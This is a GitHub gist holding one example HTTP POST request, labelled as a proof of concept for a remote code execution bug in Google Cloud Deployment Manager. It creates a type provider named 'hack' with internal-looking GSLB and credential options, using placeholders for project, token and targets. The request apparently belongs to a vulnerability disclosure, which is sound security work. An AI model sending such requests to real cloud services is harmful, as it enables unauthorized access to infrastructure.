Skip to content

Instantly share code, notes, and snippets.

@ezequielpereira

ezequielpereira/example.txt

Created May 22, 2020 11:02
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save ezequielpereira/72c9e9a1547e6ffa70195d9cab7f13b9 to your computer and use it in GitHub Desktop.
Save ezequielpereira/72c9e9a1547e6ffa70195d9cab7f13b9 to your computer and use it in GitHub Desktop.
Download ZIP
Example request for Cloud Deployment Manager RCE bug
Raw
example.txt
POST https://www.googleapis.com/deploymentmanager/staging_dogfood/projects/<PROJECT>/global/typeProviders?access_token=<TOKEN> HTTP/1.1
{
"name": "hack",
"descriptorUrl": "https://<GSLB target's path to a descriptor document>",
"googleOptions": {
"gslbTarget": <GSLB target name>,
"descriptorUrlServerSpec": <GSLB target name>,
"ownershipKind": "GOOGLE",
"credentialType": "GAIAMINT",
"transport": "GSLB"
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment